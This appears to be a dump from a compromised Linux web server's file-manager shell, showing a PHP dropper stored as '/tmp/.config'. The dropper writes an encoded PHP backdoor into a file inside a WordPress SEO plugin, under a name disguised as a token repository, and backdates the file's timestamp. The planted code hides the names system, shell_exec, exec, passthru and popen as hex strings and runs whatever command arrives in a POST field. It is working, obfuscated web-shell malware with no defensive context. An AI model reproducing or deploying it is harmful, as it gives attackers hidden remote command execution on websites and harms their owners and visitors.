HEX
Server: Apache
System: Linux 198-252-107-178.cprapid.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
User: msgdhg02 (1000)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //tmp/.config
<?php   $p = "/home/msgdhg02/public_html/matin168d.com/wp-content/plugins/wordpress-seo/src/ai/authorization/infrastructure/refresh.token.user.meta.repository.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%0A%24itm1%20%3D%20%2773%27%3B%0A%24itm2%20%3D%20%2765%27%3B%0A%24itm3%20%3D%20%2768%27%3B%0A%24itm4%20%3D%20%2778%27%3B%0A%24itm5%20%3D%20%2770%27%3B%0A%24itm6%20%3D%20%2774%27%3B%0A%24itm7%20%3D%20%2775%27%3B%0A%24itm8%20%3D%20%276f%27%3B%0A%24itm9%20%3D%20%276e%27%3B%0A%24itm10%20%3D%20%2772%27%3B%0A%24itm11%20%3D%20%2761%27%3B%0A%24itm12%20%3D%20%2763%27%3B%0A%24itm13%20%3D%20%276c%27%3B%0A%24itm14%20%3D%20%2767%27%3B%0A%24itm15%20%3D%20%2777%27%3B%0A%24reverse_lookup1%20%3D%20pack%28%22H%2A%22%2C%20%24itm1.%2779%27.%2773%27.%2774%27.%24itm2.%276d%27%29%3B%0A%24reverse_lookup2%20%3D%20pack%28%22H%2A%22%2C%20%24itm1.%24itm3.%2765%27.%276c%27.%276c%27.%275f%27.%2765%27.%24itm4.%2765%27.%2763%27%29%3B%0A%24reverse_lookup3%20%3D%20pack%28%22H%2A%22%2C%20%24itm2.%2778%27.%2765%27.%2763%27%29%3B%0A%24reverse_lookup4%20%3D%20pack%28%22H%2A%22%2C%20%24itm5.%2761%27.%2773%27.%2773%27.%24itm6.%24itm3.%2772%27.%24itm7%29%3B%0A%24reverse_lookup5%20%3D%20pack%28%22H%2A%22%2C%20%2770%27.%24itm8.%24itm5.%24itm2.%24itm9%29%3B%0A%24reverse_lookup6%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%2774%27.%24itm10.%2765%27.%24itm11.%276d%27.%275f%27.%2767%27.%24itm2.%2774%27.%275f%27.%2763%27.%24itm8.%276e%27.%24itm6.%2765%27.%276e%27.%2774%27.%2773%27%29%3B%0A%24reverse_lookup7%20%3D%20pack%28%22H%2A%22%2C%20%2770%27.%24itm12.%24itm13.%24itm8.%2773%27.%24itm2%29%3B%0A%24api_gateway%20%3D%20pack%28%22H%2A%22%2C%20%2761%27.%2770%27.%2769%27.%275f%27.%24itm14.%24itm11.%2774%27.%24itm2.%24itm15.%2761%27.%2779%27%29%3B%0Aif%20%28isset%28%24_POST%5B%24api_gateway%5D%29%29%20%7B%0A%20%20%20%20%24api_gateway%20%3D%20pack%28%22H%2A%22%2C%20%24_POST%5B%24api_gateway%5D%29%3B%0A%20%20%20%20if%20%28function_exists%28%24reverse_lookup1%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_lookup1%28%24api_gateway%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup2%29%29%20%7B%0A%20%20%20%20%20%20%20%20print%20%24reverse_lookup2%28%24api_gateway%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup3%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_lookup3%28%24api_gateway%2C%20%24property_set_entity%29%3B%0A%20%20%20%20%20%20%20%20print%20join%28%22%5Cn%22%2C%20%24property_set_entity%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup4%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_lookup4%28%24api_gateway%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup5%29%20%26%26%20function_exists%28%24reverse_lookup6%29%20%26%26%20function_exists%28%24reverse_lookup7%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24k_pointer%20%3D%20%24reverse_lookup5%28%24api_gateway%2C%20%27r%27%29%3B%0A%20%20%20%20%20%20%20%20if%20%28%24k_pointer%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ent_comp%20%3D%20%24reverse_lookup6%28%24k_pointer%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_lookup7%28%24k_pointer%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20print%20%24ent_comp%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20exit%3B%0A%7D%0A'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1788449046); } die('!ended!');